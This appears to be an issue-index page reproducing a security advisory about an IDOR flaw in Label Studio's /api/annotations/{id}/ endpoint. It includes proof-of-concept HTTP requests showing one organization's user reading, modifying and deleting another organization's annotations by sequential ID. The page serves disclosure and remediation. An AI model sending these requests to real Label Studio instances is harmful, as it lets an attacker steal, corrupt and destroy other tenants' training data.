HumanSignal / HumanSignal/label-studio
IDOR in /api/annotations/{id}/ allows cross-organization read, modify, and delete of annotation data
- Dominant language
- TypeScript
- Stars
- 28.3k
- Forks
- 3.7k
- Avg merge
- 14h
- Merged PRs (30d)
- 15
Description
reported privately on 24 May 2026 but no response: https://github.com/HumanSignal/label-studio/security/advisories/GHSA-w4mg-6m8q-6723
### Summary
Label Studio's `AnnotationAPI` class exposes the `/api/annotations/{id}/` endpoint with an unfiltered queryset (`Annotation.objects.all()`). Any authenticated user, regardless of organization membership, can read, modify, and delete annotations belonging to other organizations by supplying the sequential integer annotation ID directly. The task-scoped endpoint (`/api/tasks/{id}/`) correctly enforces organization boundaries, but the annotation-direct endpoint does not, creating an exploitable discrepancy.
### Details
Label Studio implements multi-organization tenancy: each project belongs to one organization, and users are members of specific organizations. The platform correctly restricts task access in `TaskAPI.get_object()` via:
```python
Task.objects.filter(project__organization=self.request.user.active_organization)
```
However, `AnnotationAPI` at `label_studio/tasks/api.py` line 635 defines:
```python
class AnnotationAPI(generics.RetrieveUpdateDestroyAPIView):
...
queryset = Annotation.objects.all()
```
There is no override of `get_queryset()` that scopes annotations to the requesting user's organization. DRF's default `get_object()` fetches the annotation by primary key from `Annotation.objects.all()` and only applies the view-level `permission_required` check, which resolves to `rules.is_authenticated` (any logged-in user passes). No object-level permission checks against organization membership are performed.
The same unscoped `Annotation.objects.all()` pattern also appears in `AnnotationConvertAPI` at line 1076 of the same file.
Because annotation IDs are sequential integers starting from 1, an attacker can enumerate all annotations across every organization by incrementing the ID.
Root cause file: `label_studio/tasks/api.py`, line 645.
### PoC
**Prerequisites:** Two separate Label Studio organizations exist. Organization A has a project with annotations. The attacker has a valid session in Organization B (a different organization with no access to Organization A's data).
**Step 1: Confirm that the task endpoint correctly blocks access (expected 404):**
```
GET /api/tasks/1/ HTTP/1.1
Host: target.example.com
Cookie: sessionid=
HTTP/1.1 404 Not Found
{"detail":"No Task matches the given query."}
```
**Step 2: Read Organization A's annotation directly (unexpected 200):**
```
GET /api/annotations/1/ HTTP/1.1
Host: target.example.com
Cookie: sessionid=
HTTP/1.1 200 OK
Content-Type: application/json
{
"id": 1,
"result": [{"type": "choices", "value": {"choices": ["Positive"]}, ...}],
"created_username": " admin@org-a.com, 1",
"completed_by": 1,
"project": 1,
...
}
```
**Step 3: Modify Organization A's annotation (unexpected 200):**
```
PATCH /api/annotations/1/ HTTP/1.1
Host: target.example.com
Cookie: sessionid=
Content-Type: application/json
X-CSRFToken:
{"result": [{"from_name": "label", "to_name": "text", "type": "choices", "value": {"choices": ["Negative"]}}]}
HTTP/1.1 200 OK
{"id": 1, "result": [{"from_name": "label", "to_name": "text", ...}], "updated_by": , ...}
```
**Step 4: Delete Organization A's annotation (unexpected 204):**
```
DELETE /api/annotations/1/ HTTP/1.1
Host: target.example.com
Cookie: sessionid=
X-CSRFToken:
HTTP/1.1 204 No Content
```
**Verification:** After deletion, the admin of Organization A sees:
```
GET /api/annotations/1/ HTTP/1.1
(Organization A session)
HTTP/1.1 404 Not Found
{"detail": "No Annotation matches the given query."}
```
### Impact
Any authenticated user in any organization can:
1. Read all annotation results (labeling decisions, model training data) from every organization on the Label Studio instance, including proprietary datasets used for competitive AI model training.
2. Modify annotation results in other organizations' projects, corrupting training data and model quality metrics silently (the modification shows `updated_by` as the attacker's user ID in a different org, which is not surfaced in standard UI views).
3. Permanently delete annotations from other organizations' projects, causing irreversible data loss.
In multi-tenant SaaS deployments of Label Studio, this allows any subscriber to read, tamper with, and destroy all other subscribers' annotation work. The annotation IDs are sequential and easily enumerable.
affected version: 1.23.0
Contributor guide
Research direction
Start in label_studio/tasks/api.py at AnnotationAPI around line 635 and compare its queryset with TaskAPI.get_object(); also inspect AnnotationConvertAPI around line 1076 for the same pattern. Verify that users can access annotations only within their active organization, while same-organization read, modify, and delete behavior remains intact for the affected endpoints.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- django, python
- Domain
- authorization, backend-api-design, security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Active
- Clarity
- Clearly specified
- Newbie friendliness
- 48/100